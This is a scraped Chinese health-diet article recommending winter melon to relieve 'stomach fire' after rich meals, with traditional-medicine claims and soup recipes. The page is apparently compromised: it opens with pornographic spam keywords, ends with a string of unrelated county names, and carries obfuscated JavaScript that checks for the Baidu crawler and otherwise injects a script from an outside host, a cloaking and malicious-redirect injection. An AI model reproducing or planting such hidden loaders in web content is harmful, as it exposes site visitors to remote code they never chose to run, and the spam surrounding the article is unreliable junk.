亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 健康飲食 > 正文

大魚大肉吃多了?冬瓜清胃火

2016-10-13 20:31:30  來源:360常識網(wǎng)   熱度:
導語:冬瓜中膳食纖維含量很高,有助于刺激胃腸道蠕動,與油膩食物一起食用,可防止體內(nèi)脂肪堆積,有效控制體內(nèi)的糖類轉(zhuǎn)化為脂肪,為大家免除后顧之憂。

大魚大肉吃多了?冬瓜清胃火

大魚大肉吃多了?冬瓜清胃火

大魚大肉吃多了?冬瓜清胃火

大魚大肉吃多了,又容易惹來上火、腹脹、食欲下降等麻煩。不妨在吃大餐的同時,配點去油去火的食物,做到美味健康兩不誤,冬瓜就是個好“配角”。

冬瓜是一種藥食兼用的蔬菜,《神農(nóng)本草經(jīng)》中記載其“令人好顏色,益氣不饑,久服輕身耐老”。中醫(yī)認為,冬瓜性微寒,味甘淡無毒,入肺、小腸、膀胱三經(jīng),能潤肺生津、清胃熱、除煩止渴、解毒排膿,并有通利小便、消除水腫的特色。

此外,冬瓜中膳食纖維含量很高,有助于刺激胃腸道蠕動,與油膩食物一起食用,可防止體內(nèi)脂肪堆積,有效控制體內(nèi)的糖類轉(zhuǎn)化為脂肪,為大家免除后顧之憂。

冬瓜非常“百搭”,與其他菜品搭配晶瑩剔透、清爽可口,清炒、煨食或做成湯羹均可。冬季可做冬瓜羊肉湯,將冬瓜去皮切塊、羊肉切片;加油燒熱,煸炒羊肉片后加入冬瓜和其他佐料;翻炒后加鮮湯,煮沸約10分鐘后倒入淀粉汁調(diào)勻即成。

此湯不僅去燥降火,還有補虛消腫的功效。將冬瓜煸炒,燒至八九成熟時,加入適量銀耳,以及調(diào)味品,至完全熟透后即成冬瓜銀耳羹,是適合日常食用的一款清熱生津佳品。需要提醒的是,冬瓜性涼,脾胃虛寒、腎虛者不宜多吃。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
贡嘎县| 青神县| 含山县| 上蔡县| 沈丘县| 道真| 郎溪县| 铜梁县| 新野县| 会昌县| 丹寨县| 大足县| 靖江市| 时尚| 馆陶县| 博白县| 通河县| 合阳县| 绥芬河市| 丹东市| 泽普县| 平潭县| 宿州市| 清涧县| 虎林市| 石门县| 博客| 安陆市| 屏南县| 射洪县| 吴忠市| 大石桥市| 永善县| 梧州市| 恩施市| 贵州省| 图片| 宁南县| 宁夏| 嘉禾县| 兴宁市|